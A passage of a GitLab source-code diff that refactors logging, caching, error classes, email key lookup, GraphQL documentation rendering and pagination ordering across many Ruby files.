+ # pg_dump uses fully qualified object names though, since we have multiple schemas
+ # in the database.
+ #
+ # The intention here is to not introduce an assumption about the standard schema,
+ # unless we have a good reason to do so.
+ structure.gsub!(/public\.(\w+)/, '\1')
+ structure.gsub!(/CREATE EXTENSION IF NOT EXISTS (\w+) WITH SCHEMA public;/, 'CREATE EXTENSION IF NOT EXISTS \1;')
structure.gsub!(/\n{3,}/, "\n\n")
- io << structure
+ io << structure.strip
io << <<~MSG
-- schema_migrations.version information is no longer stored in this file,
-- but instead tracked in the db/schema_migrations directory
diff --git a/lib/gitlab/database_importers/common_metrics/prometheus_metric_enums.rb b/lib/gitlab/database_importers/common_metrics/prometheus_metric_enums.rb
index fb0fcc5a93b..8a5f53be20f 100644
--- a/lib/gitlab/database_importers/common_metrics/prometheus_metric_enums.rb
+++ b/lib/gitlab/database_importers/common_metrics/prometheus_metric_enums.rb
@@ -18,6 +18,7 @@ module Gitlab
business: 0,
response: 1,
system: 2,
+ custom: 3,
cluster_health: -100
}
@@ -34,7 +35,8 @@ module Gitlab
aws_elb: _('Response metrics (AWS ELB)'),
nginx: _('Response metrics (NGINX)'),
kubernetes: _('System metrics (Kubernetes)'),
- cluster_health: _('Cluster Health')
+ cluster_health: _('Cluster Health'),
+ custom: _('Custom metrics')
}
end
end
diff --git a/lib/gitlab/database_importers/instance_administrators/create_group.rb b/lib/gitlab/database_importers/instance_administrators/create_group.rb
index 5bf0e5a320d..d9425810405 100644
--- a/lib/gitlab/database_importers/instance_administrators/create_group.rb
+++ b/lib/gitlab/database_importers/instance_administrators/create_group.rb
@@ -6,6 +6,8 @@ module Gitlab
class CreateGroup < ::BaseService
include Stepable
+ NAME = 'GitLab Instance'
+ PATH_PREFIX = 'gitlab-instance'
VISIBILITY_LEVEL = Gitlab::VisibilityLevel::INTERNAL
steps :validate_application_settings,
@@ -117,12 +119,12 @@ module Gitlab
def create_group_params
{
- name: 'GitLab Instance Administrators',
+ name: NAME,
visibility_level: VISIBILITY_LEVEL,
# The 8 random characters at the end are so that the path does not
# clash with any existing group that the user might have created.
- path: "gitlab-instance-administrators-#{SecureRandom.hex(4)}"
+ path: "#{PATH_PREFIX}-#{SecureRandom.hex(4)}"
}
end
end
diff --git a/lib/gitlab/database_importers/self_monitoring/project/create_service.rb b/lib/gitlab/database_importers/self_monitoring/project/create_service.rb
index 07a4c3bf5e6..88f035c2d1b 100644
--- a/lib/gitlab/database_importers/self_monitoring/project/create_service.rb
+++ b/lib/gitlab/database_importers/self_monitoring/project/create_service.rb
@@ -9,7 +9,7 @@ module Gitlab
include SelfMonitoring::Helpers
VISIBILITY_LEVEL = Gitlab::VisibilityLevel::INTERNAL
- PROJECT_NAME = 'GitLab self monitoring'
+ PROJECT_NAME = 'Monitoring'
steps :validate_application_settings,
:create_group,
diff --git a/lib/gitlab/diff/highlight.rb b/lib/gitlab/diff/highlight.rb
index 0d027809ba8..a5259079345 100644
--- a/lib/gitlab/diff/highlight.rb
+++ b/lib/gitlab/diff/highlight.rb
@@ -60,7 +60,7 @@ module Gitlab
# Only update text if line is found. This will prevent
# issues with submodules given the line only exists in diff content.
if rich_line
- line_prefix = diff_line.text =~ /\A(.)/ ? $1 : ' '
+ line_prefix = diff_line.text =~ /\A(.)/ ? Regexp.last_match(1) : ' '
"#{line_prefix}#{rich_line}".html_safe
end
end
diff --git a/lib/gitlab/diff/highlight_cache.rb b/lib/gitlab/diff/highlight_cache.rb
index 0c3b6b72313..0eb22e6b3cb 100644
--- a/lib/gitlab/diff/highlight_cache.rb
+++ b/lib/gitlab/diff/highlight_cache.rb
@@ -3,6 +3,7 @@
module Gitlab
module Diff
class HighlightCache
+ include Gitlab::Utils::Gzip
include Gitlab::Utils::StrongMemoize
EXPIRATION = 1.week
@@ -83,7 +84,7 @@ module Gitlab
redis.hset(
key,
diff_file_id,
- compose_data(highlighted_diff_lines_hash.to_json)
+ gzip_compress(highlighted_diff_lines_hash.to_json)
)
end
@@ -145,35 +146,12 @@ module Gitlab
end
results.map! do |result|
- Gitlab::Json.parse(extract_data(result), symbolize_names: true) unless result.nil?
+ Gitlab::Json.parse(gzip_decompress(result), symbolize_names: true) unless result.nil?
end
file_paths.zip(results).to_h
end
- def compose_data(json_data)
- # #compress returns ASCII-8BIT, so we need to force the encoding to
- # UTF-8 before caching it in redis, else we risk encoding mismatch
- # errors.
- #
- ActiveSupport::Gzip.compress(json_data).force_encoding("UTF-8")
- rescue Zlib::GzipFile::Error
- json_data
- end
-
- def extract_data(data)
- # Since we could be dealing with an already populated cache full of data
- # that isn't gzipped, we want to also check to see if the data is
- # gzipped before we attempt to #decompress it, thus we check the first
- # 2 bytes for "\x1F\x8B" to confirm it is a gzipped string. While a
- # non-gzipped string will raise a Zlib::GzipFile::Error, which we're
- # rescuing, we don't want to count on rescue for control flow.
- #
- data[0..1] == "\x1F\x8B" ? ActiveSupport::Gzip.decompress(data) : data
- rescue Zlib::GzipFile::Error
- data
- end
-
def cacheable?(diff_file)
diffable.present? && diff_file.text? && diff_file.diffable?
end
diff --git a/lib/gitlab/discussions_diff/highlight_cache.rb b/lib/gitlab/discussions_diff/highlight_cache.rb
index 4bec6467c1a..3337aeb9262 100644
--- a/lib/gitlab/discussions_diff/highlight_cache.rb
+++ b/lib/gitlab/discussions_diff/highlight_cache.rb
@@ -3,6 +3,8 @@
module Gitlab
module DiscussionsDiff
class HighlightCache
+ extend Gitlab::Utils::Gzip
+
class << self
VERSION = 1
EXPIRATION = 1.week
@@ -17,7 +19,7 @@ module Gitlab
mapping.each do |raw_key, value|
key = cache_key_for(raw_key)
- multi.set(key, value.to_json, ex: EXPIRATION)
+ multi.set(key, gzip_compress(value.to_json), ex: EXPIRATION)
end
end
end
@@ -44,7 +46,7 @@ module Gitlab
content.map! do |lines|
next unless lines
- Gitlab::Json.parse(lines).map! do |line|
+ Gitlab::Json.parse(gzip_decompress(lines)).map! do |line|
Gitlab::Diff::Line.safe_init_from_hash(line)
end
end
diff --git a/lib/gitlab/email/hook/disable_email_interceptor.rb b/lib/gitlab/email/hook/disable_email_interceptor.rb
index 58dc1527c7a..6e2e0201684 100644
--- a/lib/gitlab/email/hook/disable_email_interceptor.rb
+++ b/lib/gitlab/email/hook/disable_email_interceptor.rb
@@ -7,7 +7,7 @@ module Gitlab
def self.delivering_email(message)
message.perform_deliveries = false
- Rails.logger.info "Emails disabled! Interceptor prevented sending mail #{message.subject}" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.info "Emails disabled! Interceptor prevented sending mail #{message.subject}"
end
end
end
diff --git a/lib/gitlab/email/receiver.rb b/lib/gitlab/email/receiver.rb
index bf6c28b9f90..f5e47b43a9a 100644
--- a/lib/gitlab/email/receiver.rb
+++ b/lib/gitlab/email/receiver.rb
@@ -54,7 +54,8 @@ module Gitlab
def key_from_additional_headers(mail)
find_key_from_references(mail) ||
find_key_from_delivered_to_header(mail) ||
- find_key_from_envelope_to_header(mail)
+ find_key_from_envelope_to_header(mail) ||
+ find_key_from_x_envelope_to_header(mail)
end
def ensure_references_array(references)
@@ -91,6 +92,13 @@ module Gitlab
end
end
+ def find_key_from_x_envelope_to_header(mail)
+ Array(mail[:x_envelope_to]).find do |header|
+ key = Gitlab::IncomingEmail.key_from_address(header.value)
+ break key if key
+ end
+ end
+
def ignore_auto_reply!(mail)
if auto_submitted?(mail) || auto_replied?(mail)
raise AutoGeneratedEmailError
diff --git a/lib/gitlab/encoding_helper.rb b/lib/gitlab/encoding_helper.rb
index 67f8d691a77..7b79de00c66 100644
--- a/lib/gitlab/encoding_helper.rb
+++ b/lib/gitlab/encoding_helper.rb
@@ -59,7 +59,7 @@ module Gitlab
begin
CharlockHolmes::Converter.convert(message, detect[:encoding], 'UTF-8')
rescue ArgumentError => e
- Rails.logger.warn("Ignoring error converting #{detect[:encoding]} into UTF8: #{e.message}") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn("Ignoring error converting #{detect[:encoding]} into UTF8: #{e.message}")
''
end
diff --git a/lib/gitlab/error_tracking.rb b/lib/gitlab/error_tracking.rb
index 8d5611411c9..803acef9a40 100644
--- a/lib/gitlab/error_tracking.rb
+++ b/lib/gitlab/error_tracking.rb
@@ -26,6 +26,8 @@ module Gitlab
# Sanitize fields based on those sanitized from Rails.
config.sanitize_fields = Rails.application.config.filter_parameters.map(&:to_s)
config.processors << ::Gitlab::ErrorTracking::Processor::SidekiqProcessor
+ config.processors << ::Gitlab::ErrorTracking::Processor::GrpcErrorProcessor
+
# Sanitize authentication headers
config.sanitize_http_headers = %w[Authorization Private-Token]
config.tags = extra_tags_from_env.merge(program: Gitlab.process_name)
diff --git a/lib/gitlab/error_tracking/processor/grpc_error_processor.rb b/lib/gitlab/error_tracking/processor/grpc_error_processor.rb
new file mode 100644
index 00000000000..871e9c4b7c8
--- /dev/null
+++ b/lib/gitlab/error_tracking/processor/grpc_error_processor.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module ErrorTracking
+ module Processor
+ class GrpcErrorProcessor < ::Raven::Processor
+ DEBUG_ERROR_STRING_REGEX = RE2('(.*) debug_error_string:(.*)')
+
+ def process(value)
+ process_first_exception_value(value)
+ process_custom_fingerprint(value)
+
+ value
+ end
+
+ # Sentry can report multiple exceptions in an event. Sanitize
+ # only the first one since that's what is used for grouping.
+ def process_first_exception_value(value)
+ exceptions = value.dig(:exception, :values)
+
+ return unless exceptions.is_a?(Array)
+
+ entry = exceptions.first
+
+ return unless entry.is_a?(Hash)
+
+ exception_type = entry[:type]
+ raw_message = entry[:value]
+
+ return unless exception_type&.start_with?('GRPC::')
+ return unless raw_message.present?
+
+ message, debug_str = split_debug_error_string(raw_message)
+
+ entry[:value] = message if message
+ extra = value[:extra] || {}
+ extra[:grpc_debug_error_string] = debug_str if debug_str
+ end
+
+ def process_custom_fingerprint(value)
+ fingerprint = value[:fingerprint]
+
+ return value unless custom_grpc_fingerprint?(fingerprint)
+
+ message, _ = split_debug_error_string(fingerprint[1])
+ fingerprint[1] = message if message
+ end
+
+ private
+
+ def custom_grpc_fingerprint?(fingerprint)
+ fingerprint.is_a?(Array) && fingerprint.length == 2 && fingerprint[0].start_with?('GRPC::')
+ end
+
+ def split_debug_error_string(message)
+ return unless message
+
+ match = DEBUG_ERROR_STRING_REGEX.match(message)
+
+ return unless match
+
+ [match[1], match[2]]
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/experimentation.rb b/lib/gitlab/experimentation.rb
index 9908369426a..dca60c93fb2 100644
--- a/lib/gitlab/experimentation.rb
+++ b/lib/gitlab/experimentation.rb
@@ -42,9 +42,6 @@ module Gitlab
ci_notification_dot: {
tracking_category: 'Growth::Expansion::Experiment::CiNotificationDot'
},
- buy_ci_minutes_version_a: {
- tracking_category: 'Growth::Expansion::Experiment::BuyCiMinutesVersionA'
- },
upgrade_link_in_user_menu_a: {
tracking_category: 'Growth::Expansion::Experiment::UpgradeLinkInUserMenuA'
},
@@ -62,6 +59,9 @@ module Gitlab
},
customize_homepage: {
tracking_category: 'Growth::Expansion::Experiment::CustomizeHomepage'
+ },
+ invite_email: {
+ tracking_category: 'Growth::Acquisition::Experiment::InviteEmail'
}
}.freeze
@@ -78,7 +78,7 @@ module Gitlab
included do
before_action :set_experimentation_subject_id_cookie, unless: :dnt_enabled?
- helper_method :experiment_enabled?
+ helper_method :experiment_enabled?, :experiment_tracking_category_and_group
end
def set_experimentation_subject_id_cookie
@@ -118,6 +118,10 @@ module Gitlab
::Experiment.add_user(experiment_key, tracking_group(experiment_key), current_user)
end
+ def experiment_tracking_category_and_group(experiment_key)
+ "#{tracking_category(experiment_key)}:#{tracking_group(experiment_key, '_group')}"
+ end
+
private
def dnt_enabled?
@@ -144,7 +148,7 @@ module Gitlab
{
category: tracking_category(experiment_key),
action: action,
- property: "#{tracking_group(experiment_key)}_group",
+ property: tracking_group(experiment_key, "_group"),
label: experimentation_subject_id,
value: value
}.compact
@@ -154,10 +158,12 @@ module Gitlab
Experimentation.experiment(experiment_key).tracking_category
end
- def tracking_group(experiment_key)
+ def tracking_group(experiment_key, suffix = nil)
return unless Experimentation.enabled?(experiment_key)
- experiment_enabled?(experiment_key) ? GROUP_EXPERIMENTAL : GROUP_CONTROL
+ group = experiment_enabled?(experiment_key) ? GROUP_EXPERIMENTAL : GROUP_CONTROL
+
+ suffix ? "#{group}#{suffix}" : group
end
def forced_enabled?(experiment_key)
diff --git a/lib/gitlab/file_type_detection.rb b/lib/gitlab/file_type_detection.rb
index 475d50e37bf..38ccd2c38a9 100644
--- a/lib/gitlab/file_type_detection.rb
+++ b/lib/gitlab/file_type_detection.rb
@@ -20,6 +20,8 @@
module Gitlab
module FileTypeDetection
SAFE_IMAGE_EXT = %w[png jpg jpeg gif bmp tiff ico].freeze
+ SAFE_IMAGE_FOR_SCALING_EXT = %w[png jpg jpeg].freeze
+
PDF_EXT = 'pdf'
# We recommend using the .mp4 format over .mov. Videos in .mov format can
# still be used but you really need to make sure they are served with the
@@ -46,6 +48,12 @@ module Gitlab
extension_match?(SAFE_IMAGE_EXT)
end
+ # For the time being, we restrict image scaling requests to the most popular and safest formats only,
+ # which are JPGs and PNGs. See https://gitlab.com/gitlab-org/gitlab/-/issues/237848 for more info.
+ def image_safe_for_scaling?
+ extension_match?(SAFE_IMAGE_FOR_SCALING_EXT)
+ end
+
def video?
extension_match?(SAFE_VIDEO_EXT)
end
diff --git a/lib/gitlab/fogbugz_import/importer.rb b/lib/gitlab/fogbugz_import/importer.rb
index 2c53f9b026d..bd5d2e53180 100644
--- a/lib/gitlab/fogbugz_import/importer.rb
+++ b/lib/gitlab/fogbugz_import/importer.rb
@@ -39,7 +39,7 @@ module Gitlab
def user_map
@user_map ||= begin
- user_map = Hash.new
+ user_map = {}
import_data = project.import_data.try(:data)
stored_user_map = import_data['user_map'] if import_data
user_map.update(stored_user_map) if stored_user_map
diff --git a/lib/gitlab/git.rb b/lib/gitlab/git.rb
index b6bffb11344..96f3487fd6f 100644
--- a/lib/gitlab/git.rb
+++ b/lib/gitlab/git.rb
@@ -13,7 +13,6 @@ module Gitlab
TAG_REF_PREFIX = "refs/tags/"
BRANCH_REF_PREFIX = "refs/heads/"
- BaseError = Class.new(StandardError)
CommandError = Class.new(BaseError)
CommitError = Class.new(BaseError)
OSError = Class.new(BaseError)
diff --git a/lib/gitlab/git/base_error.rb b/lib/gitlab/git/base_error.rb
new file mode 100644
index 00000000000..a7eaa82b347
--- /dev/null
+++ b/lib/gitlab/git/base_error.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Git
+ class BaseError < StandardError
+ DEBUG_ERROR_STRING_REGEX = /(.*?) debug_error_string:.*$/m.freeze
+
+ def initialize(msg = nil)
+ if msg
+ raw_message = msg.to_s
+ match = DEBUG_ERROR_STRING_REGEX.match(raw_message)
+ raw_message = match[1] if match
+
+ super(raw_message)
+ else
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/git/diff_collection.rb b/lib/gitlab/git/diff_collection.rb
index 46896961867..e6121d688ba 100644
--- a/lib/gitlab/git/diff_collection.rb
+++ b/lib/gitlab/git/diff_collection.rb
@@ -37,7 +37,7 @@ module Gitlab
@byte_count = 0
@overflow = false
@empty = true
- @array = Array.new
+ @array = []
end
def each(&block)
diff --git a/lib/gitlab/git/keep_around.rb b/lib/gitlab/git/keep_around.rb
index d58f10bdbb7..b6fc335c979 100644
--- a/lib/gitlab/git/keep_around.rb
+++ b/lib/gitlab/git/keep_around.rb
@@ -27,7 +27,7 @@ module Gitlab
# This will still fail if the file is corrupted (e.g. 0 bytes)
raw_repository.write_ref(keep_around_ref_name(sha), sha)
rescue Gitlab::Git::CommandError => ex
- Rails.logger.error "Unable to create keep-around reference for repository #{disk_path}: #{ex}" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error "Unable to create keep-around reference for repository #{disk_path}: #{ex}"
end
end
diff --git a/lib/gitlab/git/repository.rb b/lib/gitlab/git/repository.rb
index 596b4e9f692..8ace4157ad7 100644
--- a/lib/gitlab/git/repository.rb
+++ b/lib/gitlab/git/repository.rb
@@ -19,15 +19,15 @@ module Gitlab
GITLAB_PROJECTS_TIMEOUT = Gitlab.config.gitlab_shell.git_timeout
EMPTY_REPOSITORY_CHECKSUM = '0000000000000000000000000000000000000000'
- NoRepository = Class.new(StandardError)
- InvalidRepository = Class.new(StandardError)
- InvalidBlobName = Class.new(StandardError)
- InvalidRef = Class.new(StandardError)
- GitError = Class.new(StandardError)
- DeleteBranchError = Class.new(StandardError)
- TagExistsError = Class.new(StandardError)
- ChecksumError = Class.new(StandardError)
- class CreateTreeError < StandardError
+ NoRepository = Class.new(::Gitlab::Git::BaseError)
+ InvalidRepository = Class.new(::Gitlab::Git::BaseError)
+ InvalidBlobName = Class.new(::Gitlab::Git::BaseError)
+ InvalidRef = Class.new(::Gitlab::Git::BaseError)
+ GitError = Class.new(::Gitlab::Git::BaseError)
+ DeleteBranchError = Class.new(::Gitlab::Git::BaseError)
+ TagExistsError = Class.new(::Gitlab::Git::BaseError)
+ ChecksumError = Class.new(::Gitlab::Git::BaseError)
+ class CreateTreeError < ::Gitlab::Git::BaseError
attr_reader :error_code
def initialize(error_code)
@@ -955,7 +955,7 @@ module Gitlab
gitaly_repository_client.cleanup if exists?
end
rescue Gitlab::Git::CommandError => e # Don't fail if we can't cleanup
- Rails.logger.error("Unable to clean repository on storage #{storage} with relative path #{relative_path}: #{e.message}") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error("Unable to clean repository on storage #{storage} with relative path #{relative_path}: #{e.message}")
Gitlab::Metrics.counter(
:failed_repository_cleanup_total,
'Number of failed repository cleanup events'
diff --git a/lib/gitlab/git/wiki.rb b/lib/gitlab/git/wiki.rb
index 76771f0417b..da2d015ca4a 100644
--- a/lib/gitlab/git/wiki.rb
+++ b/lib/gitlab/git/wiki.rb
@@ -6,7 +6,6 @@ module Gitlab
include Gitlab::Git::WrapsGitalyErrors
DuplicatePageError = Class.new(StandardError)
- OperationError = Class.new(StandardError)
DEFAULT_PAGINATION = Kaminari.config.default_per_page
diff --git a/lib/gitlab/git_access_snippet.rb b/lib/gitlab/git_access_snippet.rb
index f2b4e930707..ae83e45f2b3 100644
--- a/lib/gitlab/git_access_snippet.rb
+++ b/lib/gitlab/git_access_snippet.rb
@@ -119,7 +119,7 @@ module Gitlab
override :check_single_change_access
def check_single_change_access(change, _skip_lfs_integrity_check: false)
- Checks::SnippetCheck.new(change, logger: logger).validate!
+ Checks::SnippetCheck.new(change, default_branch: snippet.default_branch, logger: logger).validate!
Checks::PushFileCountCheck.new(change, repository: repository, limit: Snippet.max_file_limit(user), logger: logger).validate!
rescue Checks::TimedLogger::TimeoutError
raise TimeoutError, logger.full_message
diff --git a/lib/gitlab/gitaly_client.rb b/lib/gitlab/gitaly_client.rb
index 131c00db612..e1324530412 100644
--- a/lib/gitlab/gitaly_client.rb
+++ b/lib/gitlab/gitaly_client.rb
@@ -450,7 +450,7 @@ module Gitlab
stack_string = Gitlab::BacktraceCleaner.clean_backtrace(caller).drop(1).join("\n")
- Gitlab::SafeRequestStore[:stack_counter] ||= Hash.new
+ Gitlab::SafeRequestStore[:stack_counter] ||= {}
count = Gitlab::SafeRequestStore[:stack_counter][stack_string] || 0
Gitlab::SafeRequestStore[:stack_counter][stack_string] = count + 1
diff --git a/lib/gitlab/gitpod.rb b/lib/gitlab/gitpod.rb
new file mode 100644
index 00000000000..11b54db72ea
--- /dev/null
+++ b/lib/gitlab/gitpod.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module Gitlab
+ class Gitpod
+ class << self
+ def feature_conditional?
+ feature.conditional?
+ end
+
+ def feature_available?
+ # The gitpod_bundle feature could be conditionally applied, so check if `!off?`
+ !feature.off?
+ end
+
+ def feature_enabled?(actor = nil)
+ feature.enabled?(actor)
+ end
+
+ def feature_and_settings_enabled?(actor = nil)
+ feature_enabled?(actor) && Gitlab::CurrentSettings.gitpod_enabled
+ end
+
+ private
+
+ def feature
+ Feature.get(:gitpod) # rubocop:disable Gitlab/AvoidFeatureGet
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/gl_repository.rb b/lib/gitlab/gl_repository.rb
index 7346de13626..54dca93a891 100644
--- a/lib/gitlab/gl_repository.rb
+++ b/lib/gitlab/gl_repository.rb
@@ -7,19 +7,19 @@ module Gitlab
PROJECT = RepoType.new(
name: :project,
access_checker_class: Gitlab::GitAccessProject,
- repository_resolver: -> (project) { project&.repository }
+ repository_resolver: -> (project) { ::Repository.new(project.full_path, project, shard: project.repository_storage, disk_path: project.disk_path) }
).freeze
WIKI = RepoType.new(
name: :wiki,
access_checker_class: Gitlab::GitAccessWiki,
- repository_resolver: -> (container) { container&.wiki&.repository },
+ repository_resolver: -> (container) { ::Repository.new(container.wiki.full_path, container, shard: container.wiki.repository_storage, disk_path: container.wiki.disk_path, repo_type: WIKI) },
project_resolver: -> (container) { container.is_a?(Project) ? container : nil },
suffix: :wiki
).freeze
SNIPPET = RepoType.new(
name: :snippet,
access_checker_class: Gitlab::GitAccessSnippet,
- repository_resolver: -> (snippet) { snippet&.repository },
+ repository_resolver: -> (snippet) { ::Repository.new(snippet.full_path, snippet, shard: snippet.repository_storage, disk_path: snippet.disk_path, repo_type: SNIPPET) },
container_class: Snippet,
project_resolver: -> (snippet) { snippet&.project },
guest_read_ability: :read_snippet
diff --git a/lib/gitlab/gl_repository/repo_type.rb b/lib/gitlab/gl_repository/repo_type.rb
index 2c0038b61e2..346f6be0d98 100644
--- a/lib/gitlab/gl_repository/repo_type.rb
+++ b/lib/gitlab/gl_repository/repo_type.rb
@@ -57,6 +57,8 @@ module Gitlab
end
def repository_for(container)
+ return unless container
+
repository_resolver.call(container)
end
diff --git a/lib/gitlab/gon_helper.rb b/lib/gitlab/gon_helper.rb
index dfba68ce899..66517ecd743 100644
--- a/lib/gitlab/gon_helper.rb
+++ b/lib/gitlab/gon_helper.rb
@@ -4,6 +4,7 @@
module Gitlab
module GonHelper
+ include StartupCssHelper
include WebpackHelper
def add_gon_variables
@@ -45,9 +46,12 @@ module Gitlab
push_frontend_feature_flag(:snippets_vue, default_enabled: true)
push_frontend_feature_flag(:monaco_blobs, default_enabled: true)
push_frontend_feature_flag(:monaco_ci, default_enabled: false)
- push_frontend_feature_flag(:snippets_edit_vue, default_enabled: false)
+ push_frontend_feature_flag(:snippets_edit_vue, default_enabled: true)
push_frontend_feature_flag(:webperf_experiment, default_enabled: false)
push_frontend_feature_flag(:snippets_binary_blob, default_enabled: false)
+
+ # Startup CSS feature is a special one as it can be enabled by means of cookies and params
+ gon.push({ features: { 'startupCss' => use_startup_css? } }, true)
end
# Exposes the state of a feature flag to the frontend code.
diff --git a/lib/gitlab/graphql/docs/helper.rb b/lib/gitlab/graphql/docs/helper.rb
index 0dd28b32511..dcd0e12cbfc 100644
--- a/lib/gitlab/graphql/docs/helper.rb
+++ b/lib/gitlab/graphql/docs/helper.rb
@@ -21,30 +21,47 @@ module Gitlab
MD
end
- def sorted_fields(fields)
- fields.sort_by { |field| field[:name] }
+ def render_name_and_description(object)
+ content = "### #{object[:name]}\n"
+
+ if object[:description].present?
+ content += "\n#{object[:description]}.\n"
+ end
+
+ content
+ end
+
+ def sorted_by_name(objects)
+ objects.sort_by { |o| o[:name] }
end
def render_field(field)
'| %s | %s | %s |' % [
- render_field_name(field),
+ render_name(field),
render_field_type(field[:type][:info]),
- render_field_description(field)
+ render_description(field)
]
end
- def render_field_name(field)
- rendered_name = "`#{field[:name]}`"
- rendered_name += ' **{warning-solid}**' if field[:is_deprecated]
+ def render_enum_value(value)
+ '| %s | %s |' % [
+ render_name(value),
+ render_description(value)
+ ]
+ end
+
+ def render_name(object)
+ rendered_name = "`#{object[:name]}`"
+ rendered_name += ' **{warning-solid}**' if object[:is_deprecated]
rendered_name
end
- # Returns the field description. If the field has been deprecated,
+ # Returns the object description. If the object has been deprecated,
# the deprecation reason will be returned in place of the description.
- def render_field_description(field)
- return field[:description] unless field[:is_deprecated]
+ def render_description(object)
+ return object[:description] unless object[:is_deprecated]
- "**Deprecated:** #{field[:deprecation_reason]}"
+ "**Deprecated:** #{object[:deprecation_reason]}"
end
# Some fields types are arrays of other types and are displayed
@@ -70,6 +87,13 @@ module Gitlab
!object_type[:name]["__"]
end
end
+
+ # We ignore the built-in enum types.
+ def enums
+ graphql_enum_types.select do |enum_type|
+ !enum_type[:name].in?(%w(__DirectiveLocation __TypeKind))
+ end
+ end
end
end
end
diff --git a/lib/gitlab/graphql/docs/templates/default.md.haml b/lib/gitlab/graphql/docs/templates/default.md.haml
index 8c033526557..ec052943589 100644
--- a/lib/gitlab/graphql/docs/templates/default.md.haml
+++ b/lib/gitlab/graphql/docs/templates/default.md.haml
@@ -15,15 +15,45 @@
CAUTION: **Caution:**
Fields that are deprecated are marked with **{warning-solid}**.
\
+
+:plain
+ ## Object types
+
+ Object types represent the resources that GitLab's GraphQL API can return.
+ They contain _fields_. Each field has its own type, which will either be one of the
+ basic GraphQL [scalar types](https://graphql.org/learn/schema/#scalar-types)
+ (e.g.: `String` or `Boolean`) or other object types.
+
+ For more information, see
+ [Object Types and Fields](https://graphql.org/learn/schema/#object-types-and-fields)
+ on `graphql.org`.
+\
+
- objects.each do |type|
- unless type[:fields].empty?
- = "## #{type[:name]}"
- - if type[:description]&.present?
- \
- = type[:description]
- \
- ~ "| Name | Type | Description |"
- ~ "| --- | ---- | ---------- |"
- - sorted_fields(type[:fields]).each do |field|
+ = render_name_and_description(type)
+ ~ "| Field | Type | Description |"
+ ~ "| ----- | ---- | ----------- |"
+ - sorted_by_name(type[:fields]).each do |field|
= render_field(field)
\
+
+:plain
+ ## Enumeration types
+
+ Also called _Enums_, enumeration types are a special kind of scalar that
+ is restricted to a particular set of allowed values.
+
+ For more information, see
+ [Enumeration Types](https://graphql.org/learn/schema/#enumeration-types)
+ on `graphql.org`.
+\
+
+- enums.each do |enum|
+ - unless enum[:values].empty?
+ = render_name_and_description(enum)
+ ~ "| Value | Description |"
+ ~ "| ----- | ----------- |"
+ - sorted_by_name(enum[:values]).each do |value|
+ = render_enum_value(value)
+ \
diff --git a/lib/gitlab/graphql/loaders/issuable_loader.rb b/lib/gitlab/graphql/loaders/issuable_loader.rb
index 1cc0fbe215f..8ac4be2b661 100644
--- a/lib/gitlab/graphql/loaders/issuable_loader.rb
+++ b/lib/gitlab/graphql/loaders/issuable_loader.rb
@@ -15,6 +15,7 @@ module Gitlab
def batching_find_all(&with_query)
if issuable_finder.params.keys == ['iids']
+ issuable_finder.parent = parent
batch_load_issuables(issuable_finder.params[:iids], with_query)
else
post_process(find_all, with_query)
@@ -22,24 +23,12 @@ module Gitlab
end
def find_all
- issuable_finder.params[parent_param] = parent if parent
-
+ issuable_finder.parent_param = parent if parent
issuable_finder.execute
end
private
- def parent_param
- case parent
- when Project
- :project_id
- when Group
- :group_id
- else
- raise "Unexpected parent: #{parent.class}"
- end
- end
-
def post_process(query, with_query)
if with_query
with_query.call(query)
@@ -56,7 +45,7 @@ module Gitlab
return if parent.nil?
BatchLoader::GraphQL
- .for([parent_param, iid.to_s])
+ .for([issuable_finder.parent_param, iid.to_s])
.batch(key: batch_key) do |params, loader, args|
batch_key = args[:key]
user = batch_key.current_user
diff --git a/lib/gitlab/graphql/pagination/keyset/conditions/base_condition.rb b/lib/gitlab/graphql/pagination/keyset/conditions/base_condition.rb
index afea7c602be..bd785880b57 100644
--- a/lib/gitlab/graphql/pagination/keyset/conditions/base_condition.rb
+++ b/lib/gitlab/graphql/pagination/keyset/conditions/base_condition.rb
@@ -29,7 +29,10 @@ module Gitlab
def table_condition(order_info, value, operator)
if order_info.named_function
target = order_info.named_function
- value = value&.downcase if target&.name&.downcase == 'lower'
+
+ if target.try(:name)&.casecmp('lower') == 0
+ value = value&.downcase
+ end
else
target = arel_table[order_info.attribute_name]
end
diff --git a/lib/gitlab/graphql/pagination/keyset/order_info.rb b/lib/gitlab/graphql/pagination/keyset/order_info.rb
index 12bcc4993b5..f54695ddb9a 100644
--- a/lib/gitlab/graphql/pagination/keyset/order_info.rb
+++ b/lib/gitlab/graphql/pagination/keyset/order_info.rb
@@ -71,25 +71,43 @@ module Gitlab
def extract_nulls_last_order(order_value)
tokens = order_value.downcase.split
- [tokens.first, (tokens[1] == 'asc' ? :asc : :desc), nil]
+ column_reference = tokens.first
+ sort_direction = tokens[1] == 'asc' ? :asc : :desc
+
+ # Handles the case when the order value is coming from another table.
+ # Example: table_name.column_name
+ # Query the value using the fully qualified column name: pass table_name.column_name as the named_function
+ if fully_qualified_column_reference?(column_reference)
+ [column_reference, sort_direction, Arel.sql(column_reference)]
+ else
+ [column_reference, sort_direction, nil]
+ end
+ end
+
+ # Example: table_name.column_name
+ def fully_qualified_column_reference?(attribute)
+ attribute.to_s.count('.') == 1
end
def extract_attribute_values(order_value)
- named = nil
- name = if ordering_by_lower?(order_value)
- named = order_value.expr
- named.expressions[0].name.to_s
- else
- order_value.expr.name
- end
-
- [name, order_value.direction, named]
+ if ordering_by_lower?(order_value)
+ [order_value.expr.expressions[0].name.to_s, order_value.direction, order_value.expr]
+ elsif ordering_by_similarity?(order_value)
+ ['similarity', order_value.direction, order_value.expr]
+ else
+ [order_value.expr.name, order_value.direction, nil]
+ end
end
# determine if ordering using LOWER, eg. "ORDER BY LOWER(boards.name)"
def ordering_by_lower?(order_value)
order_value.expr.is_a?(Arel::Nodes::NamedFunction) && order_value.expr&.name&.downcase == 'lower'
end
+
+ # determine if ordering using SIMILARITY scoring based on Gitlab::Database::SimilarityScore
